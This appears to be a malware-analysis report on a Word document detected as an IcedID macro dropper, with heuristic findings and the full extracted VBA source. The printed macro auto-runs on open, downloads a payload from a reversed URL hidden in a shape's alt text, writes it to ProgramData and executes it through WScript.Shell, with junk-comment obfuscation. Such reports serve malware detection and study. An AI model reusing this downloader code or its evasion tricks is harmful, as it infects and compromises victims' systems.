MALICIOUS
230
Risk Score
Heuristics 6
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set ISGtw = CreateObject("Script" + gAmCM) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12352 bytes |
SHA-256: 6d12c7873c51e1e75a6c96c6c30c156ce2f7c895f36eb6a3ffb13772f756a92c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "UCgPC"
Sub xWHOS(yLfDf, Optional ByVal WTPCF As String = "c:\programdata\OtZOB.txt", Optional ByVal gAmCM As String = "ing.FileSystemObject")
' Bobtails bins rased
' Vent darned
' Direst contaminates illadvised gun
' Columned plasm positivity neutron
' Bursars coronas
' Ransom impinges sooty businesslike
' Knitter protegees
' Nipples arenas
' Sunblock anaesthetic accumulator
' Observation alliances
' Outliers
' Entwine dimer retyping currying simplifies
' Equating primed
' Connoisseur defeater
' Rough invigilate deviously hoed
' Stratigraphic deficiencies
' Stockbrokers punishable scattered
' Ablebodied extraction forenames southwards witheringly skimming
Set ISGtw = CreateObject("Script" + gAmCM)
' Peanuts steady whippets
' Final disrespect vibrational maypole shallowest
' Jerkily gestalt
' Potato solicitous smooch inuits
' Reassembled paydays biped elementally
' Commutative biography
Set ECOib = ISGtw.CreateTextFile(WTPCF)
' Inimitably exclusionary badgers
' Monastery semblances onesidedly sameness
' Landmine reformations specialisms blubber
' Becalmed decadence dwarf helms medic
' Odds emptiness seventieth inadvertent
' Cherish critiques gaudiest
ECOib.WriteLine yLfDf
' Shutting peregrines supreme
' Ludicrousness gazebo malpractice blazers
' Inspection accusingly superstars
' Detainer enforce victimise
' Frontally guided roistering unacceptable acted
ECOib.Close
' Tumour tinny mediums untransformed interfered
' Drenches desserts scrambled racings booming
' Disconsolation voles
' Improvising
' Franchises excruciating
' Niggardly farmings celebrating urged hinterlands
' Isles preheat permissions
' Sanctum numskull acutest
' Procreational overlong readings skerries
' Tonsillectomy wafer tonedeaf decrypts niagara conniving
' Topsoil forcefeed canary
' Danced snagging untrusty validly achromatic
' Acquitting
' Franchised afghani bracelets graduation nab
' Jest reverberates
' Schools subduing consistency gentiles cloisters
' Climatically abstinence
' Improve bur sweetness nocturnal
' Prop implication crackdown renal
' Gritting sweetie
' Chief phantasy synthesiser extols join
' Dancer downpour
' Undercurrent spinnaker
' Cognizant summarising obeying
' Confetti attributions parsnip
' Tumult forenames lapdog brassy cut
' Orientation nobody
' Followed mountings seamail fjord resharpening
' Billion unemotionally soaker porno debaser
' Flameproof testifies strongroom
' Authority
' Incongruities climatological nothing sauna college
' Peevishness bohemian pupated lipread
' Tessellated
' Redialling residential loathsomeness
' Remastered dinghies filtrate extremely flagon electorate
End Sub
' Semifinalists
' Character lining plaintiffs deacon choke
' Prams dime distinguishes
' Howled framed embroidery
' Settles winkled
' Barracks mainbrace
Sub AutoOpen()
' Negate
' Passageways beadles
' Sociable kindergarten
' Measurably
' Cockney ale conmen recoded inelegance
' Delinquents celery expropriation rightwingers
' Dedications testiest centaurs revealing
' Weeks transit bookshop detoured
' Unoptimised iatrogenic defaced
' Mutter rethink exonerating
' Debilitate costumed jocularity lambasted
' Desert kittiwakes previewer polkas
' Physiognomies mill
' Noise earrings
' Tykes visitation sucked procrastinate
' Pejoratively electrolysed springer raided mistranslation
' Stabiliser examines
' Comparing contrasty
' Tee satisfaction aforethought vainglory
' Revengeful pollen impostor
' Oxide disquieting pejoratively medallions seethrough
' Asterisk
' Delving paralleled inflexibility fungicide
' Unflattering expendable
' Fizzle groom retitled
' Lawmen luckily nodular virulence incised
' Administrating
' Hallways deviates seraphically scoring
' Appraiser pursuing
' Accountants goitre
' Liable abstract realigns
Dim cEiYd As New njGZm
' Extrude ulterior
' Heiress saute
' Gins
' Tendons orbitals
yLfDf = cEiYd.JnbRr("MSXML2.serverXMLHTTP")
' Cognitively brownies
' Forsaking ingenuity
' Dints erode
' Institutionally match
xWHOS ZfFJa(yLfDf)
' Fungoid increasing wits unspecific
' Dyslexic thresher paracetamol supposed
' Stain snowfalls flightpath conservationist
' Blackcurrant sixties uninhabitable
' Wombs foursome coagulate
' Demounted subtle delay reinvent infrequently numerate
' Afresh hillman shattering sharpening astonishes
' Alloyed foremost brands islamic enlivened accurately
' Irreverent sexologists crocheted gibbons lusts sidetracking
' Fixedly curtailing steadfast prospers
' Incurably sing parisian beautifully
UiQiN hTTUU(0) + "vr32 c:\programdata\OtZOB.txt", "ws"
End Sub
Function vaCEk(UanKT, zGwjH)
' Etches terminal
' Overlooked compressible
' Funeral frostiest vendors ceasefires
' Authenticating phenotype linguist
' Cleaner peeks pleadings orderliness
' Murk tightest erosive pungency forceful
' Wiping overslept scrupulously
vaCEk = Split(UanKT, zGwjH)
End Function
Attribute VB_Name = "HYRQB"
' Sundry knitter fullpage olive
' Alluring functional immoral repatriation air electricians
' Pints
' Common minnows convects
' Islets lost carnivorous bogging rummages
' Unenthusiastic
Function ZfFJa(wTnxB)
' Briefer entwining gummed cuddles
' Toccata bade
' Mathematician permeation
' Regimental leashes unoriginality diatribe
' Stand peremptory diachronic rediscovers unsuitability booklet
' Migrate weirdness foreseeing brownie groundless couplers accessions
ZfFJa = StrConv(wTnxB, vbUnicode)
' Dip contravenes leopards baklavas classics
' Interdependency benighted
' Sermons giddy hindquarters ethnicity males doffing
' Schoolmistress farces
' Landfall enterprise ghostliest
' Fingernails aerofoil label peninsular disc shoestring grapevine
End Function
' Squeezes constructive luminescence
' Horizons derogations bingo
' London pyjamas reliabilities uninjured
' Liquefy
' Perron trellis whitewash razorbills
Function LCOFb()
' Shortened
' Melodically
' Naughtily fleeing
' Abate inhibitory finale
' Entrenchment tridents injudiciously
' Quarrying remains thousand mandolin breadths
' Jock
' Creaming siphons
' Ringless unreality partiality
' Lichened noradrenaline backlog felony
With ActiveDocument.shapes(1)
LCOFb = .AlternativeText
End With
End Function
' Greyest genuflect
' Comestibles
' Blackfly
' Flotation
' Occurrences soldiers onus
' Rubric transponder draper resits pragmatism
Function hTTUU(vXvyJ)
' Burgling interrelations despise
' Hiatuses burdock catering issuers
' Moronic hydroxide participative northern
' Aftertaste footholds oslo perches pool enthusiasms reflexes
' Unconscionably roundabouts askance acers fermion
' Marmots affirmations encoder huddling irrespective
' Sauna monotonicity basked
' Plenteous amethystine
' Grave rationality burr hacks banding apprenticeships
' Upstaging undiagnosed meddling
' Overmatching adversary german
EFBSC = LCOFb()
maAQr = vaCEk(EFBSC, "###")
iiNVM = maAQr(vXvyJ)
hTTUU = iiNVM
End Function
Attribute VB_Name = "njGZm"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Reverse(Text)
Dim i As Integer
Dim StrNew As String
Dim strOld As String
strOld = Trim(Text)
For i = 1 To Len(strOld)
StrNew = Mid(strOld, i, 1) & StrNew
Next i
Reverse = StrNew
End Function
' Latin analogue
' Strumpet ploughmen thirtieth couple
' Sugar
' Whalers owe prize
' Busted
Function JnbRr(rNrza)
' Uplifted condole
' Despaired detailed resume
' Gnome aviator smut wittiness corrosion
' Deducted ultrasound eject quadruplicate dismount stave hic
Dim bbKMQ As Object
' Chevron ambivalently
' Champagne eraser handiwork initiate extravaganzas
' Catguts foothills foamier
' Limo throatiest pot translate
' Catheter lace hastens
' Pocket
' Origins molests
' Apparatus undissipated stabilisation
' Cocaine leased beaks disinterred castoff asylum unclasping
' Plunderers reselection reprogrammable
Set bbKMQ = CreateObject(rNrza)
' Agrees neurophysiology
' Pro stings harmonising premise afflicting frowningly
' Bivouacked dab relabelling
' Iconoclasm misprint decided heralds ephemeris ria
' Lesbians neglected melts mantling militates
' Lovebirds
' Distributing vitally soldiered
' Marques censured
' Abrasion soldier statesmen detrimentally
' Prolonging exacerbate
' Heathen gustiest stutters basketful subjectivist
' Strays gasper
' Underlings reliant murderess reportedly
' Turbocharged inveighing chorale
' Stoker turtleneck grenades
' Strident shaving
' Popes imbiber
' Testament genuflect arising inaccurate
EmwLz = hTTUU(1)
' Sirius fillings
' Reiterate porpoises jettisoned bulldozing
' Instance dwarves formalised
' See caddy phonologically wellstructured signer
' Superstructures rope inaugurated
' Macrocosm obsolete bastardisation gaoler unpretending
bbKMQ.Open "GET", Reverse(EmwLz), False
' Settlements womenfolk
' Wheelchair fabric
' Heave prophylactic betted
' Coerced percentages throb presumes
' Majority stolid nestles
' Distasteful snuffles char macaques ruin
' Parenthetically refreshes halite
bbKMQ.Send
' Acids menopause meditates
' Purls
' Disquisition catharsis lamplighter towering
' Oxymoron sculpture
' Cessations aperies agribusiness thought
' Enough corded rechargeable shrinkable leaver
JnbRr = bbKMQ.responsebody
End Function
Attribute VB_Name = "FROCO"
Sub UiQiN(FmdYv, exMHa)
' Monetarism vodka ontologically sneezes governorship fogy
' Deftness variously
' Matchless decoders nagger flighted clown uncouple uncased
' Sterner tacit accordingly
Set DGXxf = CreateObject(exMHa + "cript.shell")
' Ramble explicit blunter precision
' Anthropogenic loll meridional tacked
' Kilometres underlies distal
' Microelectronics statistical manufacturer
' Concentrates advancing legwork notoriously outboard arabesques trigonometric
' Domesticated porting censorship
' Mucus pacific polity
' Bidirectional subclass recommencement
' Gaudy economised bibliographies tinpot skills lunches
' Vacations implode nasal anodes guessed
' Astounding sombreness claimants misdirect
' Embracing abodes rhapsodies
' Inhumane precipitates turtle acquirers mice
' Croakier tamped conspired
' Jousts
' Holidays restitution pats amputated reissued
' Stumblingly trolleys
' Spangled spawns suppressor
' Raptors agrochemicals seal bonus splashing gibbered
' Sequential marvelled
' Book scribble amortisation shut mores correct
' Ricking unassigned revering
' Shrank mischiefmakers pinafore sprig immured
' Manipulation flagon hatchet reproduces
' Tunnels
' Downwind broodingly bewhiskered stepfather
' Thirteen amazon tricked quinquennial
' Crooned barre improbabilities ridding
' Redisplay airman opponents
' Incubators obsessions
' Fuming staircase competitors piecewise
' Binge rancid instrumented stripier
' Grab observations threshing radiographic actuarial
' Naiad browbeating
' Monomer duller codification orchestrator rick privatisation triplet
' Disrepute vagueness
' Transforming radiated oldtimer graduating
' Jungles catalysed dyer smugglers
' Menstruating wellestablished fodders
' Indicting rims
' Carbonise nudeness budgeted contumely
' Chasing adrenalin spotting
' Undiagnosed
' Rant occupier poster seared
' Namely academicians officer equitable identified competition
' Wellingtons recoded denouncing
' Landscaped toil smilers
' Banishing aspirated
' Masterwork exclaim mutiny
' Northbound irrepressible particularised flashiest digitisation radiometric
' Island disentangling ventured perpetrated
' Capacitor pollination peaking
DGXxf.exec FmdYv
' Avail unbearably backache diehard
' Eldorado sheepishness intensities tabulator microscopically
' Chow
' Teeming fornicates workpieces
' Abided
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 45056 bytes |
SHA-256: 8f2a0d810dc02401dcc51ddd8dba5097934cbad0f94323aa6de1416189693be4 |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.